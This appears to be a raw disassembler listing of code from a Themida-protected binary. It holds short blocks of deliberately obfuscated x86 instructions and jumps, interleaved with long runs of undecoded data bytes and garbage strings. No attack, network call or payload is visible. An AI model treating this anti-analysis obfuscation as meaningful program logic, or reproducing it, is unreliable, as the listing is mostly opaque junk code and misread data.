dd 8124348Bh, 4C4h, 4C68100h, 0E9000000h, 847Ah
; ---------------------------------------------------------------------------
loc_54E8AC: ; CODE XREF: Themida_:00559827j
push esi
mov esi, esp
jmp loc_55E05A
; ---------------------------------------------------------------------------
dd 4C481h, 6C810000h, 19CA0424h, 5C2966DFh, 44810424h
dd 19CA0424h, 1C8B66DFh, 4C48124h, 52000000h, 0A771C2BAh
dd 5FB85055h, 8135632Bh, 0A208246Ch, 29495E5Bh, 81082444h
dd 0A2082444h, 0E9495E5Bh, 22FBh, 9D1C77FFh, 14D35966h
dd 0BAE99C24h, 0E9FFFFF4h, 0FFFFF4B5h, 0E9242C89h, 5E1h
; ---------------------------------------------------------------------------
loc_54E918: ; CODE XREF: Themida_:00561F87j
mov edx, 4
add esi, edx
pop edx
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
neg ebp
sub ebp, 0DF1C5973h
jmp loc_5606FC
; ---------------------------------------------------------------------------
db 58h
dd 0EC81C601h, 4, 0E9242C89h, 0D962h, 6913E981h, 0E505E4D7h
dd 0E9540A79h, 3D0Fh, 2959BD55h, 2CE904DEh, 510000ACh
dd 2219D8B9h, 59CA291Fh, 3DE6E953h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54E972: ; CODE XREF: Themida_:0055D026j
add ebx, 2BB14B85h
sub ebx, 77585F52h
mov esi, [esp]
add esp, 4
sub esp, 4
jmp loc_560DDD
; ---------------------------------------------------------------------------
dd 0E904EC83h, 9B41h, 5958C289h, 0E924348Bh, 398Ch, 0C68C201h
dd 8900002Eh, 0BA52240Ch, 74073F60h, 28C2E9h, 0A1EF8100h
dd 0FF517861h, 34FF2434h, 28E95D24h
db 33h, 1, 0
; ---------------------------------------------------------------------------
loc_54E9C7: ; CODE XREF: Themida_:0055A2ACj
neg ecx
sub ecx, 0FFFFFFFFh
and ecx, 15D21C88h
add ecx, 55A249A3h
push ecx
pop eax
jmp loc_555F15
; ---------------------------------------------------------------------------
db 0FEh
aS? db 'Æéß?',0
align 2
dw 34FFh
dd 2434FF24h, 0EC67E9h
db 0
; ---------------------------------------------------------------------------
loc_54E9F1: ; CODE XREF: Themida_:0055E51Cj
mov [esp], edi
push 778979E0h
push dword ptr [esp]
pop edi
jmp loc_5586F9
; ---------------------------------------------------------------------------
dw 875Bh
dd 248B2404h, 2EDAE924h, 8E680000h, 8900007Ch, 78E9241Ch
dd 5A00012Dh, 699BED81h, 0CE92FBBh, 0D30000F6h, 0E99C2404h
dd 0FFFFF395h
; ---------------------------------------------------------------------------
loc_54EA30: ; CODE XREF: Themida_:0055090Ej
mov esi, 13617BF7h
dec esi
add esi, 597761FBh
jmp loc_55765C
; ---------------------------------------------------------------------------
db 80h, 0E9h, 0F4h
dd 3AC180h, 8207E9D9h, 0BE560000h, 0B2B70B21h, 0AB7AE9h
dd 0C5835E00h, 53B6E904h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54EA62: ; CODE XREF: Themida_:0055869Aj
mov ebp, [esp]
push ebx
jmp loc_552578
; ---------------------------------------------------------------------------
loc_54EA6B: ; CODE XREF: Themida_:00557014j
xor esi, [esp]
mov esp, [esp]
push eax
mov eax, 7D1E414Eh
jmp loc_55131A
; ---------------------------------------------------------------------------
dd 5422EE81h, 0C15B587Dh, 0EC8104E6h, 4, 0BB241C89h, 68942864h
dd 8107EBC1h, 1C3h, 7E3C100h, 0E49DC381h, 0C681BC4Bh, 28D04FE0h
dd 0EE81DE29h, 28D04FE0h, 13116E9h, 32E9AC00h
db 75h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54EABF: ; CODE XREF: Themida_:00556027j
push ecx
mov ecx, 1F9B3644h
sub ebx, ecx
pop ecx
jmp loc_5531D4
; ---------------------------------------------------------------------------
db 31h, 0D7h, 0E9h
dd 102B7h
; ---------------------------------------------------------------------------
loc_54EAD4: ; CODE XREF: Themida_:0055A7C0j
push 3D62370Ch
pop ecx
jmp loc_56022E
; ---------------------------------------------------------------------------
loc_54EADF: ; CODE XREF: Themida_:005560FFj
mov ebp, esp
push ebx
jmp loc_54ED41
; ---------------------------------------------------------------------------
aJfsS db '·¦fS³s',0
dw 66D8h
dd 0E9241C8Bh, 0FFFFF73Bh, 31E9FA01h
db 71h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54EAFF: ; CODE XREF: Themida_:00555F72j
pop ebx
push edx
jmp loc_552435
; ---------------------------------------------------------------------------
dw 0E951h
dd 4206h, 0FFF2B4E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54EB11: ; CODE XREF: Themida_:00552CA3j
push edx
jmp loc_557712
; ---------------------------------------------------------------------------
aVsC db 'µvé»C',0
align 2
dw 0F581h
dd 0BC62C8CAh, 13DC6E9h, 80C60000h, 0E95845EEh, 5D0Dh
dd 0AF0DD8F7h, 0E939980Eh, 0E476h, 3592C681h, 0F2312378h
dd 1D0BE95Eh, 0E95A0001h, 0FFFFF38Ah
; ---------------------------------------------------------------------------
loc_54EB54: ; CODE XREF: Themida_:0055233Ej
push edi
mov edi, 4
add ebp, edi
pop edi
xor ebp, [esp]
xor [esp], ebp
jmp loc_55334F
; ---------------------------------------------------------------------------
loc_54EB68: ; CODE XREF: Themida_:0055B694j
add edx, ecx
jmp loc_55B0AB
; ---------------------------------------------------------------------------
db 51h
dd 8040B753h, 86E9ACE7h, 81FFFFF9h, 4ECh, 243C8900h, 6F376853h
dd 1C8B6840h, 4C48124h, 0C1000000h, 0C38107EBh, 13C06D7h
dd 0F5BF5750h, 897C6D5Dh, 0C3215FF8h, 7F7EE9h, 4B95100h
dd 1000000h, 67A2E9CDh, 4050000h, 87000000h, 248B2404h
dd 2EC3E924h
db 1, 0
; ---------------------------------------------------------------------------
loc_54EBCA: ; CODE XREF: Themida_:00556428j
push ebx
jmp loc_54FF9E
; ---------------------------------------------------------------------------
loc_54EBD0: ; CODE XREF: Themida_:005563A9j
add edi, 15A089D2h
sub ebp, edi
mov edi, [esp]
add esp, 4
sub ebp, esi
add ebp, 50D10083h
push ebp
jmp loc_550C22
; ---------------------------------------------------------------------------
dd 42474FFh, 83241C8Bh, 48F04C4h, 24248B24h, 2404A30Fh
dd 660E99Ch, 1C870001h, 0E8685C24h, 8900003Bh, 74FF2434h
dd 348B0424h, 4C48324h, 8B24048Fh, 6D682424h, 89000020h
dd 81502414h, 0D9F242Ch, 34FF6460h, 24148B24h, 5E08950h
dd 4, 8704C083h, 0E95C2404h, 0FFFFF413h, 54240C89h, 46B85059h
dd 53AD727h, 4E53041Dh, 80E9D0F7h, 50000135h, 0E530E9h
dd 241C8B00h, 4C481h, 0DAE90000h, 520000BBh, 7746DBAh
dd 20E2815Fh, 83054174h, 0B0E901EAh, 5C000001h, 1D4768h
dd 242C8900h, 131FE954h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54EC9A: ; CODE XREF: Themida_:00562933j
mov ecx, 38F64794h
jmp loc_5517E1
; ---------------------------------------------------------------------------
dd 425DF781h, 0EFC14B08h, 0FCBA5204h, 0F7035675h, 29CA81D2h
dd 0E969C272h, 0C71Ah, 5220C281h, 0FCE919A6h, 8B0000D6h
dd 8DE92424h
db 0Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54ECD3: ; CODE XREF: Themida_:0055C9D5j
xor edi, [esp]
mov esp, [esp]
mov ax, [esp]
push 7048h
mov [esp], esi
jmp loc_55FB2E
; ---------------------------------------------------------------------------
dw 0CD81h
dd 6D3F5644h, 4817ED81h, 0DDF727C5h, 0EBF0E9h, 0C6815C00h
dd 2, 31243433h, 34332434h, 24248B24h, 24048B66h, 8904EC83h
dd 0E0892404h, 13C468h, 243C8900h, 0EF5BE9h, 1F346800h
dd 0C15B2BB9h, 0B6E906EBh
db 0DFh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54ED37: ; CODE XREF: Themida_:0055D230j
xor edi, ecx
pop ecx
xchg ebx, edi
jmp loc_55178F
; ---------------------------------------------------------------------------
loc_54ED41: ; CODE XREF: Themida_:0054EAE2j
push edi
mov edi, 70337928h
dec edi
jmp loc_55743D
; ---------------------------------------------------------------------------
loc_54ED4D: ; CODE XREF: Themida_:0055CAAAj
push ecx
jmp loc_55FFDB
; ---------------------------------------------------------------------------
loc_54ED53: ; CODE XREF: Themida_:00557F5Aj
xor eax, ecx
xor eax, edx
xor edx, eax
xor eax, edx
push edx
not dword ptr [esp]
push dword ptr [esp]
push dword ptr [esp]
mov edx, [esp]
add esp, 4
push esi
mov esi, esp
push ebx
jmp loc_558BDA
; ---------------------------------------------------------------------------
dd 0C0BF574Ah, 81784C4Dh, 3400CEF7h, 0F890E93Ch, 0E9500000h
dd 21CCh, 3EC368h, 243C8900h, 7721FCBFh, 7AC7814Eh, 4F5E4B3Ch
dd 5984E9h, 241C8900h, 0BD97EFBBh, 5BDE31C1h, 8904EC83h
dd 5FE92434h
db 33h, 1, 0
; ---------------------------------------------------------------------------
loc_54EDBB: ; CODE XREF: Themida_:00550D4Bj
pop ebp
and eax, edx
push dword ptr [esp]
jmp loc_560622
; ---------------------------------------------------------------------------
dw 0E95Ch
dd 6DF9h, 8EE91AB7h, 0BE000010h, 4C57640Ch, 15CFF681h
dd 5BE90546h, 830000FEh, 5B042404h, 720ABF57h, 0B95163C9h
dd 9C368DFAh, 159CF01h, 0C3815FFBh, 4, 31241C33h, 1C33241Ch
dd 57215C24h, 24148B1Ch, 4C481h, 0BEE90000h, 830000C8h
dd 0CB31FFC3h, 0CB31D931h, 0C831C131h, 11EEEE9h
db 0
; ---------------------------------------------------------------------------
loc_54EE2D: ; CODE XREF: Themida_:00557AB9j
push ecx
jmp loc_551780
; ---------------------------------------------------------------------------
db 89h
dd 0F8E9243Ch, 81000103h, 0AC4E8AF2h, 53C96848h, 14890000h
dd 0F3BB5324h, 2948B576h, 5B04245Ch, 0D177E9h, 581DB900h
dd 4C293187h, 34FF0824h, 0E9575924h, 1381Dh
; ---------------------------------------------------------------------------
loc_54EE6C: ; CODE XREF: Themida_:0055B19Ej
push eax
push esp
jmp loc_556EE0
; ---------------------------------------------------------------------------
loc_54EE73: ; CODE XREF: Themida_:0055D612j
mov [esp], esp
add dword ptr [esp], 4
pop edx
add edx, 4
add edx, 4
xchg edx, [esp]
mov esp, [esp]
push eax
mov eax, 4B7E0F53h
neg eax
add eax, 4B7E0F57h
sub ebp, 2BB506E0h
add ebp, offset byte_4D0781
sub ebp, eax
sub ebp, offset byte_4D0781
add ebp, 2BB506E0h
pop eax
push ebp
push dword ptr [esp+4]
jmp loc_550EE5
; ---------------------------------------------------------------------------
db 81h
dd 9D305CCDh, 3E5C16Dh, 5704EDC1h, 0EFFEFBBFh, 5FFD290Eh
dd 815DEF01h, 2C7h, 243C8700h, 13011E9h
db 0
; ---------------------------------------------------------------------------
loc_54EEE5: ; CODE XREF: Themida_:005523E4j
push ebp
mov ebp, 0A0F2C15h
jmp loc_55A3E4
; ---------------------------------------------------------------------------
dd 0CA28F2B1h, 42C2E9h, 44E95000h, 8100002Eh, 0EF58EAEDh
dd 0F5295B27h, 0E5BC581h, 0BE5614F3h, 695977C3h, 1C30C581h
dd 0F7E92F28h, 4A0000EEh, 9FB9514Ah, 8169573Ch, 4535B6E1h
dd 0ACC1814Fh, 0F759CA41h, 161DE9D9h, 0E9540000h, 9243h
dd 0D2685059h, 0E900004Eh, 14D9h, 57187A05h, 88B95177h
dd 812FC17Ch, 3766BBF1h, 6DE94952h
db 0D9h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54EF63: ; CODE XREF: Themida_:00551C91j
sub esp, 4
jmp loc_5608C7
; ---------------------------------------------------------------------------
db 68h
dd 5F6Ah, 1832E9h, 0EC835000h, 24248904h, 4240481h, 58000000h
dd 96BFE9h, 0F6B85000h, 0E94BC810h, 0F199h, 0BF243C89h
dd 4516CA2h, 0EF81DFF7h, 0A54247F3h, 0E95FF929h, 2F6Eh
dd 5DA968h, 242C8900h, 0D3CEE9h, 24048700h, 6268525Ch
dd 5AEF5AC1h, 7AE9D629h, 56000066h, 0C681E689h, 4, 4EE81h
dd 34870000h, 0C895C24h, 81595424h, 4ECh, 2D33E900h, 14870001h
dd 0C6815C24h, 4, 0E9243487h, 492Eh
; ---------------------------------------------------------------------------
loc_54F000: ; CODE XREF: Themida_:00550260j
push eax
push ebx
mov ebx, esp
jmp loc_556248
; ---------------------------------------------------------------------------
db 5Bh, 81h, 0ECh
dd 4, 0BF243C89h, 4, 525FFB01h, 11FC5E9h, 0E9545200h, 11BD2h
; ---------------------------------------------------------------------------
loc_54F028: ; CODE XREF: Themida_:005618C1j
push ebp
mov ebp, ebx
mov ecx, ebp
pop ebp
pop ebx
xor [esp+4], ecx
mov ecx, [esp]
jmp loc_555023
; ---------------------------------------------------------------------------
db 0BFh
dd 28D9089Ah, 0C5E9EF29h, 660000FDh, 0E4ECF81h, 66DFF766h
dd 9602EF81h, 0E9F80166h, 20DDh
; ---------------------------------------------------------------------------
loc_54F05C: ; CODE XREF: Themida_:00551C4Dj
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], esp
add dword ptr [esp], 4
pop ecx
push esi
push eax
mov eax, 4
push edi
mov edi, eax
mov esi, edi
pop edi
pop eax
jmp loc_55C7EF
; ---------------------------------------------------------------------------
loc_54F087: ; CODE XREF: Themida_:0055EC63j
add ecx, 4
xchg ecx, [esp]
jmp loc_550327
; ---------------------------------------------------------------------------
loc_54F095: ; CODE XREF: Themida_:0054DECEj
mov eax, [esp]
add esp, 4
jmp loc_561106
; ---------------------------------------------------------------------------
db 81h
dd 971461C5h, 7868597Fh, 89000029h, 5D51242Ch, 26F7E9h
dd 0C1EB8100h, 0E94D9B10h, 0C2C4h
; ---------------------------------------------------------------------------
loc_54F0C4: ; CODE XREF: Themida_:00555800j
mov [esp], ecx
jmp loc_55DAA7
; ---------------------------------------------------------------------------
dd 44C9EE81h, 0C6811630h, 62392A5Ah, 0EE81DE01h, 62392A5Ah
dd 1B3D68h, 241C8900h, 0C4685055h, 58624047h, 2D02E8C1h
dd 0EC6DACBEh, 5658C589h, 254A12BEh, 6EEC15Ch, 22B4E9h
db 0
; ---------------------------------------------------------------------------
loc_54F109: ; CODE XREF: Themida_:0055DDEDj
mov esi, [esp]
add esp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
shr ecx, 2
jmp loc_557019
; ---------------------------------------------------------------------------
loc_54F123: ; CODE XREF: Themida_:00553C48j
shl eax, 8
push ebp
sub esp, 4
jmp loc_55BB16
; ---------------------------------------------------------------------------
dw 5559h
dd 8B6417BDh, 41602D27h, 0E8014AA1h, 0A1416005h, 60E95D4Ah
db 26h, 1, 0
; ---------------------------------------------------------------------------
loc_54F14B: ; CODE XREF: Themida_:00551C44j
and ecx, esi
mov esi, [esp]
add esp, 4
sub ecx, 0B077C58Fh
push ecx
add dword ptr [esp], 46BC261Fh
jmp loc_553FB5
; ---------------------------------------------------------------------------
dw 1489h
dd 0BA24h, 0C2010000h, 34FF1A88h, 89575A24h, 4EC83E7h
dd 0EA6DE9h
db 0
; ---------------------------------------------------------------------------
loc_54F181: ; CODE XREF: Themida_:0055A8BDj
mov edx, [esp]
add esp, 4
sub esp, 4
mov [esp], ecx
mov ecx, 7B973619h
not ecx
xor ecx, 0F4D4E519h
jmp loc_55616C
; ---------------------------------------------------------------------------
aBOsN db 'ÅÏ',0Bh,'ÐOé{',0
db 0
; ---------------------------------------------------------------------------
loc_54F1AD: ; CODE XREF: Themida_:00561551j
add ebx, 4
push ecx
jmp loc_55AD7C
; ---------------------------------------------------------------------------
db 8Fh, 4, 24h
dd 4240481h, 5A000000h, 0E904EC83h, 704Bh, 585DE989h, 0FFA2E95Ah
dd 0C2010000h, 8B5B5258h, 0C4832414h, 0C8B5D04h, 4C48124h
dd 53000000h, 0D8EB951h, 57BB1EE7h, 81279D0Fh, 0B6340EEBh
dd 18F38140h, 0E95D5138h, 0FA99h, 0C681E689h, 4, 8704EE83h
dd 895C2434h, 0AFB3241Ch, 4D51E9h
db 0
; ---------------------------------------------------------------------------
loc_54F221: ; CODE XREF: Themida_:00556505j
add eax, ebx
sub eax, 2E577F1Ch
pop ebx
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
cmp ecx, eax
pushf
jmp loc_54DDC5
; ---------------------------------------------------------------------------
loc_54F23D: ; CODE XREF: Themida_:0055E09Cj
add edi, 1A6B37BAh
neg edi
shr edi, 4
jmp loc_5617DF
; ---------------------------------------------------------------------------
db 5Ch, 41h, 81h
dd 7A5012F1h, 59CA8928h, 5E9D329h
db 0C4h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54F25F: ; CODE XREF: Themida_:005548D3j
sub edi, 6D4B6196h
jmp loc_55BF09
; ---------------------------------------------------------------------------
loc_54F26A: ; CODE XREF: Themida_:0055419Aj
mov [esp], ebx
push 1C45616Ah
mov ebx, [esp]
push ebx
mov ebx, esp
jmp loc_552762
; ---------------------------------------------------------------------------
aIYsQ db 'ˆ*Yé)q',0
dd 4C48100h, 0E9000000h, 0C163h, 8704C483h, 685C2404h
dd 7764h, 68240C89h, 4FDAh, 0B6241489h, 2EDAE9E6h, 1C890000h
dd 0DD55E924h, 0C8B0000h, 4C48324h, 9794E9h, 4C78100h
dd 81000000h, 4C7h, 243C8700h, 0FFEC46E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54F2D5: ; CODE XREF: Themida_:0055E8B7j
push esi
jmp loc_561AC5
; ---------------------------------------------------------------------------
loc_54F2DB: ; CODE XREF: Themida_:0054E3E8j
shr ah, 7
jmp loc_55AAD8
; ---------------------------------------------------------------------------
aPZsC db 'P°‡é´c',0
dw 5300h
dd 0D3271B68h, 0F3815B2Ah, 2AD3271Fh, 9768E9h, 243C8B00h
dd 0E904C483h, 12A98h, 0E9240C8Bh, 8159h, 0AB535C05h, 4875E03h
dd 48F5C24h, 24248B24h, 24048966h, 0FFEA9CE9h, 0EC83ACFFh
dd 2C09E904h, 8F660000h, 0EA8BE902h, 0C483FFFFh, 0C6EB8104h
dd 0E907BD5Dh, 0ED59h
; ---------------------------------------------------------------------------
loc_54F348: ; CODE XREF: Themida_:0055C61Bj
mov [esp], esp
add dword ptr [esp], 4
jmp loc_55868A
; ---------------------------------------------------------------------------
db 81h
dd 54646CF5h, 8EDC12Fh, 79ADCD81h, 51453F45h, 4C46FFB9h
dd 9CF1810Ch, 29864BD6h, 0C02EE9CDh, 0C4830000h, 59C83004h
dd 49E68h, 24148900h, 3BE9E289h
db 66h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54F38F: ; CODE XREF: Themida_:005518E3j
mov cx, [esp]
add esp, 2
jmp loc_550272
; ---------------------------------------------------------------------------
aQsJ db 'QéÕj',0
align 4
dd 88F08850h, 0C18058C1h, 0E9CE8801h, 0EE74h
; ---------------------------------------------------------------------------
loc_54F3B4: ; CODE XREF: Themida_:005520B9j
mov ebx, [esp]
add esp, 4
mov eax, [esp]
add esp, 4
jmp loc_5604B3
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd 31240C33h, 72E9240Ch, 100009Eh, 0D42E9D0h, 295D0001h
dd 3BE95EF2h, 81000013h, 1B4F46F5h, 0C0ED8175h, 0C132CF08h
dd 0ED8104EDh, 57DB2Eh, 835DE801h, 48704E8h, 24248B24h
dd 24048F54h, 0C341E9h, 48B6600h, 4EC8124h, 89000000h
dd 8868243Ch, 89000025h, 0E9532424h, 12834h, 3BAFC281h
dd 0FA296662h, 3BAFEA81h, 315F6662h, 0F8015AD7h, 57243C8Bh
dd 0C781E789h, 4, 4C781h, 3C870000h, 6CE95C24h
db 9Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54F457: ; CODE XREF: Themida_:0055E235j
push 39A8008Ah
pop edx
jmp loc_5511C7
; ---------------------------------------------------------------------------
loc_54F462: ; CODE XREF: Themida_:00557E27j
sub ebx, 12C93784h
add ebx, 495531A9h
jmp loc_55B1B9
; ---------------------------------------------------------------------------
db 0C1h
dd 0E98103E9h, 0D6B02A08h, 0E959CA31h, 911Bh, 8B5EF331h
dd 0C4812414h, 4, 62E95452h, 890000BCh, 70BF243Ch, 31CDCDC5h
dd 0EC815FFAh, 4, 56240489h, 0F089D689h, 43E9E95Eh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54F4B6: ; CODE XREF: Themida_:0055FDD7j
mov ecx, esp
add ecx, 4
sub ecx, 4
jmp loc_560301
; ---------------------------------------------------------------------------
loc_54F4C9: ; CODE XREF: Themida_:0054E049j
mov ebp, 4
push edx
mov edx, 383D030Ah
neg edx
sub edx, 0D302765h
shr edx, 7
add edx, 716D7BA8h
sub edx, 3DB5539h
push ebx
mov ebx, 0DB972C9h
push ecx
jmp loc_5596E5
; ---------------------------------------------------------------------------
db 5Dh
dd 4C581h, 0BA520000h, 4, 29E9D501h
db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54F50B: ; CODE XREF: Themida_:005544CBj
mov [esp], eax
mov eax, esp
push 37F0h
mov [esp], ecx
mov ecx, 4
sub eax, 3FC76240h
jmp loc_55F2D4
; ---------------------------------------------------------------------------
loc_54F527: ; CODE XREF: Themida_:0055410Cj
pop esp
sub esi, 0DC1CDB67h
xor [esp+4], esi
mov esi, [esp]
add esp, 4
pop eax
jmp loc_556E96
; ---------------------------------------------------------------------------
db 8, 0FAh, 0E9h
dd 0ED62h, 4BFh, 0FBEE8100h, 105585Bh, 0FBC681FEh, 8B05585Bh
dd 0C483243Ch, 24343304h, 117A7E9h, 0E2895200h, 4C281h
dd 38E90000h, 6600004Dh, 5224048Bh, 55E08950h, 8B1D55BDh
dd 0F6ED8102h, 0F74FE311h, 0FE51E9D5h, 43BAFFFFh, 2D7A8575h
dd 10630AFEh, 0FE05D001h, 5A10630Ah, 4EC815Bh, 89000000h
dd 0B951243Ch, 4B0B2E07h, 70076852h, 0FEE976E3h, 830000D9h
dd 79E904C4h
db 10h, 1, 0
; ---------------------------------------------------------------------------
loc_54F5C7: ; CODE XREF: Themida_:0055B16Aj
push esp
jmp loc_557345
; ---------------------------------------------------------------------------
db 81h, 0C3h, 4
dd 81000000h, 4C3h, 241C8700h, 241C335Ch, 33241C31h, 248B241Ch
dd 242CD324h, 0E7D3E99Ch, 8F5CFFFFh, 0CAE92404h, 8FFFFFE7h
dd 895C2404h, 86E92414h, 810000C6h, 42404h, 15E90000h
dd 66000044h, 66691668h, 52240489h, 0E8885053h, 0E958C788h
dd 730Ah, 24048759h, 24048F5Ch, 6824248Bh, 6C5Ah, 0BE243489h
dd 2D8841BCh, 38D2E9h
db 0
; ---------------------------------------------------------------------------
loc_54F645: ; CODE XREF: Themida_:005532F2j
xchg ecx, [esp]
mov esp, [esp]
pop esi
jmp loc_559520
; ---------------------------------------------------------------------------
loc_54F651: ; CODE XREF: Themida_:00561E83j
mov ebp, [esp]
jmp loc_554D3E
; ---------------------------------------------------------------------------
db 89h, 0C6h, 58h
dd 431DB850h, 50E97603h, 81000096h, 4C6h, 4EE8100h, 87000000h
dd 895C2434h, 0BF572434h, 0B984283h, 0E3CDE9h
db 0
; ---------------------------------------------------------------------------
loc_54F685: ; CODE XREF: Themida_:0055B96Dj
mov esi, ecx
pop ecx
xor esi, 20AD1A0Fh
sub ebp, esi
pop esi
sub esp, 4
mov [esp], ebp
push dword ptr [esp+4]
push dword ptr [esp]
jmp loc_54FCF4
; ---------------------------------------------------------------------------
loc_54F6A3: ; CODE XREF: Themida_:00556AFEj
add dword ptr [esp], 4
mov ebp, [esp]
add esp, 4
add ebp, 4
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
and eax, esi
push dword ptr [esp]
pop esi
jmp loc_56106E
; ---------------------------------------------------------------------------
db 0BAh
dd 4, 4244481h, 16553696h, 4245401h, 4246C81h, 16553696h
dd 241C8B5Ah, 0FFEDC2E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54F6E9: ; CODE XREF: Themida_:0055AD77j
mov esi, [esp]
add esp, 4
push edi
mov edi, 76AE5104h
add edi, 1
jmp loc_562463
; ---------------------------------------------------------------------------
dd 323A062Dh, 242C8B44h, 4C481h, 0BB530000h, 2, 0E7E9D801h
dd 81FFFFF2h, 4C3h, 3010E900h, 248B0001h, 5E545624h, 4BA52h
dd 0D6010000h, 0C1BD555Ah, 8159C46Dh, 796278C5h, 4EC815Ah
dd 89000000h, 1CF7242Ch, 5D08E924h, 0E9570000h, 9794h
dd 815AD509h, 7BE536F5h, 0E9EA0177h, 4A72h, 85E9555Bh
db 2Ah, 1, 0
; ---------------------------------------------------------------------------
loc_54F76F: ; CODE XREF: Themida_:0055E6B3j
sub dword ptr [esp], 7F7779FFh
jmp loc_55465F
; ---------------------------------------------------------------------------
loc_54F77B: ; CODE XREF: Themida_:0055EE1Cj
mov edx, 6A977349h
shr edx, 6
xor edx, 1AA5DC9h
jmp loc_55C213
; ---------------------------------------------------------------------------
loc_54F78E: ; CODE XREF: Themida_:0055AD97j
neg edi
xchg edi, esi
or esi, 2F50112Fh
inc esi
shl esi, 4
push 1238h
mov [esp], esi
not dword ptr [esp]
jmp loc_55968D
; ---------------------------------------------------------------------------
dd 0B97CF181h, 0CF01006Ah, 83240C8Bh, 0E95704C4h, 0F6BCh
dd 240C8B66h, 0E9E08950h, 4C84h, 83243C8Bh, 0EE8104C4h
dd 70864442h, 8124048Bh, 4C4h, 56096800h, 2C890000h, 84FEE924h
dd 575B0000h, 4B7C84BFh, 1769E92Bh, 0C4830000h, 0EC815104h
dd 4, 0E9242489h, 0EF5Dh
; ---------------------------------------------------------------------------
loc_54F80C: ; CODE XREF: Themida_:0054E164j
mov ecx, 400103BFh
jmp loc_55AE0E
; ---------------------------------------------------------------------------
dw 0C89h
dd 2474FF24h, 0C9E95904h, 8300002Ch, 0C38104C4h, 4D54072Ch
dd 3DB668h, 242C8900h, 0AF0ED0BDh, 0FF00E931h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54F83E: ; CODE XREF: Themida_:0054FBE3j
and ebx, 205525C5h
jmp loc_558A6C
; ---------------------------------------------------------------------------
db 0BEh, 0A1h, 61h
dd 0F7015178h, 0E9EF015Eh, 0FFFFF15Dh, 0E958C329h, 1EEBh
dd 54240C89h, 52240C8Bh, 0C281E289h, 4, 8704C283h, 575C2414h
dd 4BFh, 5FF90100h, 6804C183h, 627Ch, 0FF240C89h, 0FF042474h
dd 0C8B2434h, 0E0895024h, 405h, 40500h, 24E90000h, 890000B1h
dd 0E589242Ch, 0AFC9E951h, 0EB830000h, 241C8704h, 2414895Ch
dd 0AA40FABAh, 3E2C17Eh, 0F305E9h, 47E95C00h, 5D0000CEh
dd 52C0B70Fh, 0E957E289h, 911Dh, 24048F5Bh, 0F9F7665Ch
dd 444E6866h, 24148966h, 0E99C5066h, 0E308h, 6804C483h
dd 5469h, 0E9242C89h, 0FFFFF667h, 0E9C39D61h, 0FFFFE4B9h
dd 8F6658h, 114B7E9h, 42A0BB00h, 0DA293EB3h, 51241C8Bh
dd 0C181E189h, 4, 8704C183h, 0FF5C240Ch, 53592434h, 0BF57E389h
dd 4, 835FFB01h, 1C8704C3h, 0C9095C24h, 39C4840Fh, 0F2680000h
dd 6800002Ch, 78FBh, 4EC81h, 0D2680000h, 89000041h, 52E92424h
db 4Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54F96B: ; CODE XREF: Themida_:005561F8j
mov eax, 719A6FF6h
add eax, 94B4EC7Dh
mov edi, eax
pop eax
sub edi, 0B66E4Dh
or edi, 28537F1Ah
xor edi, 4ED02C33h
xor edi, 630BD309h
add ebx, edi
pop edi
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
push 644Ah
jmp loc_5527EF
; ---------------------------------------------------------------------------
dw 487h
dd 24248B24h, 2404D366h, 0D1D3E99Ch, 54500000h, 40558h
dd 22E90000h, 0BD00002Dh, 4, 875DEE01h, 248B2434h, 0EADDE924h
dd 6866FFFFh, 89662435h, 50662414h, 0E3DFE99Ch, 248BFFFFh
dd 0FEA8E924h, 74FF0000h, 99E90424h, 0FE00011Eh, 0B55152CCh
dd 0C772E984h, 0C3010000h, 5E08950h, 4, 5F55E9h
db 0
; ---------------------------------------------------------------------------
loc_54FA11: ; CODE XREF: Themida_:005617E5j
push edx
push eax
mov eax, 31A77BA6h
jmp loc_55245A
; ---------------------------------------------------------------------------
db 81h, 0C6h, 0FEh
dd 29653C09h, 0FEEE81CEh, 8B653C09h, 0EFE9240Ch, 1000032h
dd 2434FFF5h, 0E789575Eh, 4C781h, 0C7810000h, 4, 0A81FE9h
dd 8BDA8900h, 0C483241Ch, 5AD70104h, 0E745E9h, 0F7814700h
dd 5EFAC97h, 100DC281h, 0A0E93A40h
db 14h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54FA6F: ; CODE XREF: Themida_:00560CD6j
push dword ptr [esp]
pop ecx
add esp, 4
jmp loc_5561FD
; ---------------------------------------------------------------------------
dw 0BA52h
dd 4DCE39FCh, 243E281h, 0EA810C66h, 4BA313E1h, 661FB951h
dd 0C9816492h, 0FB171CFh, 94C5E9h, 4DEDBB00h, 9E93F52h
dd 8F000069h, 248B2404h, 5C9EE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54FAB6: ; CODE XREF: Themida_:005533D3j
push edi
mov edi, 4567301Ah
sub eax, edi
pop edi
jmp loc_551A84
; ---------------------------------------------------------------------------
dd 24148966h, 0F02862B6h, 24148B66h, 2C481h, 29E90000h
dd 8700010Ah, 248B2434h, 2424D324h, 0FFE2DCE9h, 6D300DFFh
dd 0D0F71299h, 0A66D0540h, 0C1299F4Ch, 59CF2958h, 8BF8315Dh
